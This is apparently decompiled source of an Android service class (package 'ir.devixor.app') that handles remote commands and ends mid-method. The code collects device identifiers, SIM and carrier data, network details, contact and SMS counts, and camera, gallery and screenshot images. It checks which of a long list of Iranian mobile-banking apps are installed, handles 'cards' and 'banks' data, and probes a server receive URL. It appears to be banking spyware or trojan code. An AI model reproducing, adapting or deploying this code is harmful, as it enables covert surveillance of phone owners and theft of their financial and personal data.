package o;

import android.app.ActivityManager;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.ActivityInfo;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.NetworkCapabilities;
import android.net.Uri;
import android.os.Build;
import android.os.Environment;
import android.provider.ContactsContract;
import android.provider.MediaStore;
import android.provider.Settings;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import android.telephony.TelephonyManager;
import com.google.android.gms.common.ConnectionResult;
import com.google.android.gms.common.api.CommonStatusCodes;
import ir.devixor.app.service.ForegroundService;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.Enumeration;
import java.util.Iterator;
import java.util.List;
import java.util.Locale;
import java.util.Set;
import java.util.concurrent.TimeUnit;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* loaded from: classes.dex */
public final class YA extends Sb0 implements SC {
    public final /* synthetic */ int p;
    public final /* synthetic */ ForegroundService q;

    /* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
    public /* synthetic */ YA(ForegroundService foregroundService, InterfaceC0220Im interfaceC0220Im, int i) {
        super(2, interfaceC0220Im);
        this.p = i;
        this.q = foregroundService;
    }

    @Override // o.SC
    public final Object f(Object obj, Object obj2) throws JSONException, IOException {
        InterfaceC0065Cn interfaceC0065Cn = (InterfaceC0065Cn) obj;
        InterfaceC0220Im interfaceC0220Im = (InterfaceC0220Im) obj2;
        switch (this.p) {
            case 0:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 1:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 2:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 3:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 4:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 5:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 6:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 7:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 8:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case ConnectionResult.SERVICE_INVALID /* 9 */:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 10:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case ConnectionResult.LICENSE_CHECK_FAILED /* 11 */:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 12:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 13:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 14:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 15:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 16:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 17:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case ConnectionResult.SERVICE_UPDATING /* 18 */:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 19:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 20:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case CommonStatusCodes.RECONNECTION_TIMED_OUT_DURING_UPDATE /* 21 */:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 22:
                return ((YA) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case ConnectionResult.API_DISABLED /* 23 */:
                YA ya = (YA) l(interfaceC0065Cn, interfaceC0220Im);
                Oh0 oh0 = Oh0.a;
                ya.n(oh0);
                return oh0;
            default:
                YA ya2 = (YA) l(interfaceC0065Cn, interfaceC0220Im);
                Oh0 oh02 = Oh0.a;
                ya2.n(oh02);
                return oh02;
        }
    }

    @Override // o.AbstractC0728ad
    public final InterfaceC0220Im l(Object obj, InterfaceC0220Im interfaceC0220Im) {
        switch (this.p) {
            case 0:
                return new YA(this.q, interfaceC0220Im, 0);
            case 1:
                return new YA(this.q, interfaceC0220Im, 1);
            case 2:
                return new YA(this.q, interfaceC0220Im, 2);
            case 3:
                return new YA(this.q, interfaceC0220Im, 3);
            case 4:
                return new YA(this.q, interfaceC0220Im, 4);
            case 5:
                return new YA(this.q, interfaceC0220Im, 5);
            case 6:
                return new YA(this.q, interfaceC0220Im, 6);
            case 7:
                return new YA(this.q, interfaceC0220Im, 7);
            case 8:
                return new YA(this.q, interfaceC0220Im, 8);
            case ConnectionResult.SERVICE_INVALID /* 9 */:
                return new YA(this.q, interfaceC0220Im, 9);
            case 10:
                return new YA(this.q, interfaceC0220Im, 10);
            case ConnectionResult.LICENSE_CHECK_FAILED /* 11 */:
                return new YA(this.q, interfaceC0220Im, 11);
            case 12:
                return new YA(this.q, interfaceC0220Im, 12);
            case 13:
                return new YA(this.q, interfaceC0220Im, 13);
            case 14:
                return new YA(this.q, interfaceC0220Im, 14);
            case 15:
                return new YA(this.q, interfaceC0220Im, 15);
            case 16:
                return new YA(this.q, interfaceC0220Im, 16);
            case 17:
                return new YA(this.q, interfaceC0220Im, 17);
            case ConnectionResult.SERVICE_UPDATING /* 18 */:
                return new YA(this.q, interfaceC0220Im, 18);
            case 19:
                return new YA(this.q, interfaceC0220Im, 19);
            case 20:
                return new YA(this.q, interfaceC0220Im, 20);
            case CommonStatusCodes.RECONNECTION_TIMED_OUT_DURING_UPDATE /* 21 */:
                return new YA(this.q, interfaceC0220Im, 21);
            case 22:
                return new YA(this.q, interfaceC0220Im, 22);
            case ConnectionResult.API_DISABLED /* 23 */:
                return new YA(this.q, interfaceC0220Im, 23);
            default:
                return new YA(this.q, interfaceC0220Im, 24);
        }
    }

    @Override // o.AbstractC0728ad
    public final Object n(Object obj) throws JSONException, IOException {
        String str;
        int i;
        JSONObject jSONObject;
        String string;
        String string2;
        Object obj2;
        Enumeration<InetAddress> inetAddresses;
        Object obj3;
        Object hostAddress;
        List<SubscriptionInfo> activeSubscriptionInfoList;
        String strJ;
        String string3;
        int count;
        String string4;
        ApplicationInfo applicationInfo;
        CharSequence charSequenceLoadLabel;
        int i2 = this.p;
        Oh0 oh0 = Oh0.a;
        str = "نامشخص";
        int count2 = 0;
        int count3 = 0;
        int count4 = 0;
        int count5 = 0;
        int count6 = 0;
        int count7 = 0;
        int i3 = 0;
        ForegroundService foregroundService = this.q;
        switch (i2) {
            case 0:
                IJ.H(obj);
                try {
                    jSONObject = foregroundService.f36o;
                } catch (Exception e) {
                    e = e;
                    i = 100;
                    e.getMessage();
                    return new Integer(i);
                }
                if (jSONObject != null && (string = jSONObject.getString("receive_url")) != null) {
                    long jCurrentTimeMillis = System.currentTimeMillis();
                    Q1 q1 = new Q1();
                    q1.D(string);
                    q1.v("HEAD", null);
                    U7 u7G = q1.g();
                    C2334rT c2334rT = new C2334rT();
                    c2334rT.r = AbstractC2264qi0.b(5L, TimeUnit.SECONDS);
                    C20 c20E = new C2202q00(new C2429sT(c2334rT), u7G).e();
                    try {
                        long jCurrentTimeMillis2 = System.currentTimeMillis() - jCurrentTimeMillis;
                        i = jCurrentTimeMillis2 < 200 ? 200 : jCurrentTimeMillis2 < 500 ? 150 : jCurrentTimeMillis2 < 1000 ? 100 : jCurrentTimeMillis2 < 2000 ? 50 : 25;
                        c20E.close();
                        return new Integer(i);
                    } finally {
                    }
                }
                i = 100;
                try {
                    return new Integer(100);
                } catch (Exception e2) {
                    e = e2;
                    e.getMessage();
                    return new Integer(i);
                }
            case 1:
                IJ.H(obj);
                JSONObject jSONObject2 = new JSONObject(ForegroundService.t(foregroundService));
                Integer num = new Integer(jSONObject2.optInt("total_banks", 0));
                JSONArray jSONArrayOptJSONArray = jSONObject2.optJSONArray("banks");
                if (jSONArrayOptJSONArray == null) {
                    jSONArrayOptJSONArray = new JSONArray();
                }
                return new C3001yV(num, jSONArrayOptJSONArray);
            case 2:
                IJ.H(obj);
                Intent intentRegisterReceiver = foregroundService.registerReceiver(null, new IntentFilter("android.intent.action.BATTERY_CHANGED"));
                int i4 = -1;
                int intExtra = intentRegisterReceiver != null ? intentRegisterReceiver.getIntExtra("level", -1) : -1;
                int intExtra2 = intentRegisterReceiver != null ? intentRegisterReceiver.getIntExtra("scale", -1) : -1;
                int intExtra3 = intentRegisterReceiver != null ? intentRegisterReceiver.getIntExtra("plugged", -1) : -1;
                int intExtra4 = intentRegisterReceiver != null ? intentRegisterReceiver.getIntExtra("status", -1) : -1;
                if (intExtra >= 0 && intExtra2 > 0) {
                    i4 = (intExtra * 100) / intExtra2;
                }
                boolean z = true;
                if (intExtra3 != 2 && intExtra3 != 1 && intExtra3 != 4) {
                    z = false;
                }
                if (intExtra4 == 2) {
                    str = "در حال شارژ";
                } else if (intExtra4 == 3) {
                    str = "در حال تخلیه";
                } else if (intExtra4 == 4) {
                    str = "وصل نیست";
                } else if (intExtra4 == 5) {
                    str = "پر";
                }
                JSONObject jSONObject3 = new JSONObject();
                jSONObject3.put("level_percent", i4);
                jSONObject3.put("charging", z);
                jSONObject3.put("status", str);
                return jSONObject3;
            case 3:
                IJ.H(obj);
                JSONObject jSONObject4 = new JSONObject(ForegroundService.l(foregroundService));
                JSONArray jSONArrayOptJSONArray2 = jSONObject4.optJSONArray("cards");
                if (jSONArrayOptJSONArray2 == null) {
                    jSONArrayOptJSONArray2 = new JSONArray();
                }
                return new C3001yV(jSONArrayOptJSONArray2, new Integer(jSONObject4.optInt("count", 0)));
            case 4:
                IJ.H(obj);
                Cursor cursorQuery = foregroundService.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, new String[]{"_id"}, null, null, null);
                int count8 = cursorQuery != null ? cursorQuery.getCount() : 0;
                if (cursorQuery != null) {
                    cursorQuery.close();
                }
                return new Integer(count8);
            case 5:
                IJ.H(obj);
                String string5 = Settings.Global.getString(foregroundService.getContentResolver(), "device_name");
                if (string5 == null && (string5 = Settings.Secure.getString(foregroundService.getContentResolver(), "bluetooth_name")) == null) {
                    string5 = foregroundService.q;
                }
                Object obj4 = Build.MODEL;
                str = obj4 != null ? obj4 : "نامشخص";
                JSONObject jSONObject5 = new JSONObject();
                jSONObject5.put("manufacturer", Build.MANUFACTURER);
                jSONObject5.put("model", obj4);
                jSONObject5.put("device_name", foregroundService.q);
                jSONObject5.put("custom_device_name", string5);
                jSONObject5.put("product_name", str);
                jSONObject5.put("android_version", Build.VERSION.RELEASE);
                jSONObject5.put("api_level", Build.VERSION.SDK_INT);
                jSONObject5.put("android_id", foregroundService.p);
                JSONObject jSONObject6 = foregroundService.f36o;
                if (jSONObject6 == null || (string2 = jSONObject6.getString("port")) == null) {
                    string2 = "";
                }
                jSONObject5.put("port", string2);
                jSONObject5.put("brand", Build.BRAND);
                jSONObject5.put("product", Build.PRODUCT);
                jSONObject5.put("hardware", Build.HARDWARE);
                jSONObject5.put("board", Build.BOARD);
                jSONObject5.put("bootloader", Build.BOOTLOADER);
                String str2 = Build.FINGERPRINT;
                jSONObject5.put("fingerprint", str2.substring(0, Math.min(50, str2.length())));
                return jSONObject5;
            case 6:
                IJ.H(obj);
                JSONArray jSONArrayOptJSONArray3 = new JSONObject(ForegroundService.o(foregroundService)).optJSONArray("ips");
                return jSONArrayOptJSONArray3 == null ? new JSONArray() : jSONArrayOptJSONArray3;
            case 7:
                IJ.H(obj);
                boolean z2 = ForegroundService.w;
                ConnectivityManager connectivityManager = (ConnectivityManager) foregroundService.getSystemService("connectivity");
                NetworkCapabilities networkCapabilities = connectivityManager.getNetworkCapabilities(connectivityManager.getActiveNetwork());
                JSONObject jSONObject7 = new JSONObject();
                if (networkCapabilities != null) {
                    String str3 = networkCapabilities.hasTransport(1) ? "WiFi" : networkCapabilities.hasTransport(0) ? "Mobile Data" : networkCapabilities.hasTransport(3) ? "Ethernet" : "Unknown";
                    jSONObject7.put("connected", true);
                    jSONObject7.put("connection_type", str3);
                    jSONObject7.put("has_internet", networkCapabilities.hasCapability(12));
                    jSONObject7.put("has_validated", networkCapabilities.hasCapability(16));
                    ArrayList list = Collections.list(NetworkInterface.getNetworkInterfaces());
                    int size = list.size();
                    int i5 = 0;
                    while (true) {
                        if (i5 < size) {
                            obj2 = list.get(i5);
                            i5++;
                            NetworkInterface networkInterface = (NetworkInterface) obj2;
                            if (networkInterface.isLoopback() || !networkInterface.isUp()) {
                            }
                        } else {
                            obj2 = null;
                        }
                    }
                    NetworkInterface networkInterface2 = (NetworkInterface) obj2;
                    if (networkInterface2 != null && (inetAddresses = networkInterface2.getInetAddresses()) != null) {
                        ArrayList list2 = Collections.list(inetAddresses);
                        int size2 = list2.size();
                        int i6 = 0;
                        while (true) {
                            if (i6 < size2) {
                                Object obj5 = list2.get(i6);
                                i6++;
                                InetAddress inetAddress = (InetAddress) obj5;
                                if (!inetAddress.isLoopbackAddress() && inetAddress.getAddress().length == 4) {
                                    obj3 = obj5;
                                }
                            } else {
                                obj3 = null;
                            }
                        }
                        InetAddress inetAddress2 = (InetAddress) obj3;
                        if (inetAddress2 != null && (hostAddress = inetAddress2.getHostAddress()) != null) {
                            str = hostAddress;
                        }
                    }
                    jSONObject7.put("local_ip", str);
                } else {
                    jSONObject7.put("connected", false);
                    jSONObject7.put("connection_type", "آفلاین");
                    jSONObject7.put("local_ip", "ندارد");
                }
                return jSONObject7;
            case 8:
                IJ.H(obj);
                boolean z3 = ForegroundService.w;
                TelephonyManager telephonyManager = (TelephonyManager) foregroundService.getSystemService("phone");
                SubscriptionManager subscriptionManager = (SubscriptionManager) foregroundService.getSystemService(SubscriptionManager.class);
                JSONObject jSONObject8 = new JSONObject();
                int phoneType = telephonyManager.getPhoneType();
                jSONObject8.put("phone_type", phoneType != 1 ? phoneType != 2 ? phoneType != 3 ? "نامشخص" : "SIP" : "CDMA" : "GSM");
                int simState = telephonyManager.getSimState();
                jSONObject8.put("sim_state", simState != 1 ? simState != 2 ? simState != 3 ? simState != 4 ? simState != 5 ? "نامشخص" : "آماده" : "قفل شبکه" : "نیاز به PUK" : "نیاز به PIN" : "ندارد");
                JSONArray jSONArray = new JSONArray();
                if (subscriptionManager != null && (activeSubscriptionInfoList = subscriptionManager.getActiveSubscriptionInfoList()) != null) {
                    for (SubscriptionInfo subscriptionInfo : activeSubscriptionInfoList) {
                        JSONObject jSONObject9 = new JSONObject();
                        jSONObject9.put("slot_number", subscriptionInfo.getSimSlotIndex() + 1);
                        CharSequence displayName = subscriptionInfo.getDisplayName();
                        if (displayName == null || (strJ = displayName.toString()) == null) {
                            strJ = AbstractC0126Ew.j(subscriptionInfo.getSimSlotIndex() + 1, "سیم ");
                        }
                        jSONObject9.put("display_name", strJ);
                        CharSequence carrierName = subscriptionInfo.getCarrierName();
                        if (carrierName == null || (string3 = carrierName.toString()) == null) {
                            string3 = "نامشخص";
                        }
                        jSONObject9.put("carrier_name", string3);
                        String countryIso = subscriptionInfo.getCountryIso();
                        if (countryIso == null) {
                            countryIso = "نامشخص";
                        }
                        jSONObject9.put("country_iso", countryIso);
                        jSONObject9.put("subscription_id", subscriptionInfo.getSubscriptionId());
                        jSONObject9.put("is_embedded", Build.VERSION.SDK_INT >= 28 ? subscriptionInfo.isEmbedded() : false);
                        jSONArray.put(jSONObject9);
                    }
                }
                jSONObject8.put("available_sims", jSONArray);
                jSONObject8.put("sim_count", jSONArray.length());
                Object networkOperatorName = telephonyManager.getNetworkOperatorName();
                if (networkOperatorName == null) {
                    networkOperatorName = "نامشخص";
                }
                jSONObject8.put("network_operator_name", networkOperatorName);
                Object networkCountryIso = telephonyManager.getNetworkCountryIso();
                if (networkCountryIso == null) {
                    networkCountryIso = "نامشخص";
                }
                jSONObject8.put("network_country_iso", networkCountryIso);
                int dataState = telephonyManager.getDataState();
                if (dataState == 0) {
                    str = "قطع";
                } else if (dataState == 1) {
                    str = "در حال اتصال";
                } else if (dataState == 2) {
                    str = "متصل";
                } else if (dataState == 3) {
                    str = "تعلیق";
                }
                jSONObject8.put("data_state", str);
                return jSONObject8;
            case ConnectionResult.SERVICE_INVALID /* 9 */:
                IJ.H(obj);
                boolean z4 = ForegroundService.w;
                ActivityManager activityManager = (ActivityManager) foregroundService.getSystemService("activity");
                ActivityManager.MemoryInfo memoryInfo = new ActivityManager.MemoryInfo();
                activityManager.getMemoryInfo(memoryInfo);
                long j = memoryInfo.totalMem;
                long j2 = memoryInfo.availMem;
                long j3 = j - j2;
                JSONObject jSONObject10 = new JSONObject();
                jSONObject10.put("total_ram_gb", String.format("%.2f", Arrays.copyOf(new Object[]{Double.valueOf(j / 1.073741824E9d)}, 1)));
                jSONObject10.put("used_ram_gb", String.format("%.2f", Arrays.copyOf(new Object[]{Double.valueOf(j3 / 1.073741824E9d)}, 1)));
                jSONObject10.put("available_ram_gb", String.format("%.2f", Arrays.copyOf(new Object[]{Double.valueOf(j2 / 1.073741824E9d)}, 1)));
                jSONObject10.put("ram_usage_percent", (int) ((j3 * 100) / j));
                jSONObject10.put("low_memory_warning", memoryInfo.lowMemory);
                jSONObject10.put("threshold_gb", String.format("%.2f", Arrays.copyOf(new Object[]{Double.valueOf(memoryInfo.threshold / 1.073741824E9d)}, 1)));
                return jSONObject10;
            case 10:
                IJ.H(obj);
                JSONObject jSONObject11 = new JSONObject(foregroundService.n0(foregroundService.getApplicationContext()));
                JSONArray jSONArrayOptJSONArray4 = jSONObject11.optJSONArray("sims");
                if (jSONArrayOptJSONArray4 == null) {
                    jSONArrayOptJSONArray4 = new JSONArray();
                }
                return new C1119eh0(jSONArrayOptJSONArray4, new Integer(jSONObject11.optInt("count", 0)), jSONObject11);
            case ConnectionResult.LICENSE_CHECK_FAILED /* 11 */:
                IJ.H(obj);
                Cursor cursorQuery2 = foregroundService.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id"}, null, null, null);
                int count9 = cursorQuery2 != null ? cursorQuery2.getCount() : 0;
                if (cursorQuery2 != null) {
                    cursorQuery2.close();
                }
                return new Integer(count9);
            case 12:
                IJ.H(obj);
                boolean z5 = ForegroundService.w;
                File dataDirectory = Environment.getDataDirectory();
                File externalStorageDirectory = Environment.getExternalStorageDirectory();
                long totalSpace = dataDirectory.getTotalSpace();
                long freeSpace = dataDirectory.getFreeSpace();
                long j4 = totalSpace - freeSpace;
                JSONObject jSONObject12 = new JSONObject();
                jSONObject12.put("internal_total_gb", String.format("%.2f", Arrays.copyOf(new Object[]{Double.valueOf(totalSpace / 1.073741824E9d)}, 1)));
                jSONObject12.put("internal_used_gb", String.format("%.2f", Arrays.copyOf(new Object[]{Double.valueOf(j4 / 1.073741824E9d)}, 1)));
                jSONObject12.put("internal_free_gb", String.format("%.2f", Arrays.copyOf(new Object[]{Double.valueOf(freeSpace / 1.073741824E9d)}, 1)));
                long j5 = 100;
                jSONObject12.put("internal_usage_percent", (int) ((j4 * j5) / totalSpace));
                if (externalStorageDirectory != null && externalStorageDirectory.exists()) {
                    long totalSpace2 = externalStorageDirectory.getTotalSpace();
                    long freeSpace2 = externalStorageDirectory.getFreeSpace();
                    long j6 = totalSpace2 - freeSpace2;
                    jSONObject12.put("external_total_gb", String.format("%.2f", Arrays.copyOf(new Object[]{Double.valueOf(totalSpace2 / 1.073741824E9d)}, 1)));
                    jSONObject12.put("external_used_gb", String.format("%.2f", Arrays.copyOf(new Object[]{Double.valueOf(j6 / 1.073741824E9d)}, 1)));
                    jSONObject12.put("external_free_gb", String.format("%.2f", Arrays.copyOf(new Object[]{Double.valueOf(freeSpace2 / 1.073741824E9d)}, 1)));
                    jSONObject12.put("external_usage_percent", (int) ((j6 * j5) / totalSpace2));
                }
                return jSONObject12;
            case 13:
                IJ.H(obj);
                String[] strArr = {"%/Camera/%"};
                ForegroundService foregroundService2 = this.q;
                Cursor cursorQuery3 = foregroundService2.getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, new String[]{"_id"}, "_data LIKE ?", strArr, null);
                if (cursorQuery3 != null) {
                    try {
                        count = cursorQuery3.getCount();
                        cursorQuery3.close();
                    } finally {
                        try {
                            throw th;
                        } finally {
                        }
                    }
                } else {
                    count = 0;
                }
                final JSONObject jSONObject13 = new JSONObject();
                jSONObject13.put("success", true);
                jSONObject13.put("command", "GET_CAMERA_PHOTOS");
                jSONObject13.put("status", "processing");
                jSONObject13.put("message", "عکس\u200cهای دوربین در حال پردازش");
                jSONObject13.put("total_count", count);
                jSONObject13.put("limit", ConnectionResult.DRIVE_EXTERNAL_STORAGE_REQUIRED);
                jSONObject13.put("android_id", foregroundService2.p);
                jSONObject13.put("device_name", foregroundService2.q);
                jSONObject13.put("timestamp", System.currentTimeMillis());
                jSONObject13.put("stats", new JSONArray());
                final int i7 = 0;
                ForegroundService.K(foregroundService2, "CAMERA", "camera", ConnectionResult.DRIVE_EXTERNAL_STORAGE_REQUIRED, "_data LIKE ?", strArr, new OC() { // from class: o.mB
                    @Override // o.OC
                    public final Object g(Object obj6) {
                        JSONObject jSONObject14 = (JSONObject) obj6;
                        switch (i7) {
                            case 0:
                                jSONObject13.getJSONArray("stats").put(jSONObject14);
                                break;
                            case 1:
                                jSONObject13.getJSONArray("stats").put(jSONObject14);
                                break;
                            default:
                                jSONObject13.getJSONArray("stats").put(jSONObject14);
                                break;
                        }
                        return Oh0.a;
                    }
                });
                return jSONObject13.toString();
            case 14:
                IJ.H(obj);
                ForegroundService foregroundService3 = this.q;
                Cursor cursorQuery4 = foregroundService3.getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, new String[]{"_id"}, null, null, null);
                if (cursorQuery4 != null) {
                    try {
                        count2 = cursorQuery4.getCount();
                        cursorQuery4.close();
                    } finally {
                        try {
                            throw th;
                        } finally {
                        }
                    }
                }
                final JSONObject jSONObject14 = new JSONObject();
                jSONObject14.put("success", true);
                jSONObject14.put("command", "GET_GALLERY");
                jSONObject14.put("status", "processing");
                jSONObject14.put("message", "عکس\u200cهای گالری در حال پردازش");
                jSONObject14.put("total_count", count2);
                jSONObject14.put("limit", 4000);
                jSONObject14.put("android_id", foregroundService3.p);
                jSONObject14.put("device_name", foregroundService3.q);
                jSONObject14.put("timestamp", System.currentTimeMillis());
                jSONObject14.put("stats", new JSONArray());
                final int i8 = 1;
                ForegroundService.K(foregroundService3, "GALLERY", "gallery", 4000, null, null, new OC() { // from class: o.mB
                    @Override // o.OC
                    public final Object g(Object obj6) {
                        JSONObject jSONObject142 = (JSONObject) obj6;
                        switch (i8) {
                            case 0:
                                jSONObject14.getJSONArray("stats").put(jSONObject142);
                                break;
                            case 1:
                                jSONObject14.getJSONArray("stats").put(jSONObject142);
                                break;
                            default:
                                jSONObject14.getJSONArray("stats").put(jSONObject142);
                                break;
                        }
                        return Oh0.a;
                    }
                });
                return jSONObject14.toString();
            case 15:
                IJ.H(obj);
                PackageManager packageManager = foregroundService.getPackageManager();
                List listT0 = AbstractC3117zi.t0(AbstractC3117zi.v0(AbstractC0008Ai.S("همراه بانک سپه", "مگابانک", "ویپاد", "همراه کارت رفاه", "بلو", "همراه بانک ملت", "فوریبکس", "کیلید", "بانکت", "زیپاد", "باجت", "بام", "فرا رفاه", "متابانک", "بلو جونیور", "بانکیار", "باران", "همراه بانک صادرات", "همراه بانک تجارت", "موبایل بانک رفاه", "همراه بانک شهرپلاس", "همراه بانک ایران زمین", "همراه بانک کشاورزی", "همپا", "همراه\u200cبانک قرض\u200cالحسنه مهر ایران", "بانکینو", "همراه  بانک پاسارگاد", "همراه بانک قرض الحسنه رسالت", "موبایل بانک گردشگری", "موبایلت - همراه\u200cبانک سامان", "پارسیان من (همراه بانک پارسیان)", "دی جت (همراه بانک دی)", "تک بانک سرمایه", "Hamrah Novin", "همراه بانک ملل", "همراه بانک توسعه تعاون", "آبانک", "های بانك", "توبانک", "blu", "724", "هفـ هشتاد", "Maskan", "آپ", "همراه بانک سپه")));
                Intent intent = new Intent("android.intent.action.MAIN", (Uri) null);
                intent.addCategory("android.intent.category.LAUNCHER");
                List<ResolveInfo> listQueryIntentActivities = Build.VERSION.SDK_INT >= 33 ? packageManager.queryIntentActivities(intent, PackageManager.ResolveInfoFlags.of(0L)) : packageManager.queryIntentActivities(intent, 0);
                ArrayList arrayList = new ArrayList();
                Iterator<T> it = listQueryIntentActivities.iterator();
                while (it.hasNext()) {
                    ActivityInfo activityInfo = ((ResolveInfo) it.next()).activityInfo;
                    String string6 = (activityInfo == null || (applicationInfo = activityInfo.applicationInfo) == null || (charSequenceLoadLabel = applicationInfo.loadLabel(packageManager)) == null) ? null : charSequenceLoadLabel.toString();
                    if (string6 != null) {
                        arrayList.add(string6);
                    }
                }
                ArrayList arrayList2 = new ArrayList(AbstractC0034Bi.W(arrayList, 10));
                int size3 = arrayList.size();
                while (i3 < size3) {
                    Object obj6 = arrayList.get(i3);
                    i3++;
                    arrayList2.add(Za0.o0((String) obj6).toString().toLowerCase(Locale.ROOT));
                }
                Set setW0 = AbstractC3117zi.w0(arrayList2);
                ArrayList arrayList3 = new ArrayList();
                for (Object obj7 : listT0) {
                    if (setW0.contains(Za0.o0((String) obj7).toString().toLowerCase(Locale.ROOT))) {
                        arrayList3.add(obj7);
                    }
                }
                JSONObject jSONObject15 = new JSONObject();
                jSONObject15.put("command", "GET_BNC_APPS");
                jSONObject15.put("apps", new JSONArray((Collection) AbstractC3117zi.o0(arrayList3)));
                jSONObject15.put("count", arrayList3.size());
                JSONObject jSONObject16 = foregroundService.f36o;
                if (jSONObject16 == null || (string4 = jSONObject16.getString("port")) == null) {
                    string4 = "";
                }
                jSONObject15.put("port", string4);
                jSONObject15.put("android_id", foregroundService.p);
                jSONObject15.put("device_name", foregroundService.q);
                return jSONObject15.toString();
            case 16:
                IJ.H(obj);
                Cursor cursorQuery5 = foregroundService.getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, new String[]{"_id"}, "_data LIKE ?", new String[]{"%/Camera/%"}, null);
                if (cursorQuery5 != null) {
                    try {
                        count7 = cursorQuery5.getCount();
                        cursorQuery5.close();
                    } finally {
                        try {
                            throw th;
                        } finally {
                        }
                    }
                }
                return new Integer(count7);
            case 17:
                IJ.H(obj);
                Cursor cursorQuery6 = foregroundService.getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, new String[]{"_id"}, "_data LIKE ?", new String[]{"%/Screenshots/%"}, null);
                if (cursorQuery6 != null) {
                    try {
                        count6 = cursorQuery6.getCount();
                        cursorQuery6.close();
                    } finally {
                        try {
                            throw th;
                        } finally {
                        }
                    }
                }
                return new Integer(count6);
            case ConnectionResult.SERVICE_UPDATING /* 18 */:
                IJ.H(obj);
                Cursor cursorQuery7 = foregroundService.getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, new String[]{"_id"}, null, null, null);
                if (cursorQuery7 != null) {
                    try {
                        count5 = cursorQuery7.getCount();
                        cursorQuery7.close();
                    } finally {
                        try {
                            throw th;
                        } finally {
                        }
                    }
                }
                return new Integer(count5);
            case 19:
                IJ.H(obj);
                Cursor cursorQuery8 = foregroundService.getContentResolver().query(MediaStore.Video.Media.EXTERNAL_CONTENT_URI, new String[]{"_id"}, null, null, null);
                if (cursorQuery8 != null) {
                    try {
                        count4 = cursorQuery8.getCount();
                        cursorQuery8.close();
                    } finally {
                    }
                }
                return new Integer(count4);
            case 20:
                IJ.H(obj);
                try {
                    InputStream inputStreamOpen = foregroundService.getAssets().open("offmod.json");
                    Charset charset = AbstractC2355rh.a;
                    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStreamOpen, charset), 8192);
                    try {
                        String strO = As0.O(bufferedReader);
                        bufferedReader.close();
                        String string7 = Za0.o0(strO).toString();
                        if (!Za0.Y(string7)) {
                            new JSONObject(string7);
                            AbstractC2008ny.L(new File(foregroundService.getFilesDir(), "OfMod.json"), string7, charset);
                        }
                    } finally {
                    }
                } catch (Exception unused) {
                }
                return oh0;
            case CommonStatusCodes.RECONNECTION_TIMED_OUT_DURING_UPDATE /* 21 */:
                IJ.H(obj);
                String[] strArr2 = {"%/Screenshots/%"};
                ForegroundService foregroundService4 = this.q;
                Cursor cursorQuery9 = foregroundService4.getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, new String[]{"_id"}, "_data LIKE ?", strArr2, null);
                if (cursorQuery9 != null) {
                    try {
                        count3 = cursorQuery9.getCount();
                        cursorQuery9.close();
                    } finally {
                    }
                }
                final JSONObject jSONObject17 = new JSONObject();
                jSONObject17.put("success", true);
                jSONObject17.put("command", "GET_SCREENSHOTS");
                jSONObject17.put("status", "processing");
                jSONObject17.put("message", "اسکرین\u200cشات\u200cها در حال پردازش");
                jSONObject17.put("total_count", count3);
                jSONObject17.put("limit", 1000);
                jSONObject17.put("android_id", foregroundService4.p);
                jSONObject17.put("device_name", foregroundService4.q);
                jSONObject17.put("timestamp", System.currentTimeMillis());
                jSONObject17.put("stats", new JSONArray());
                final int i9 = 2;
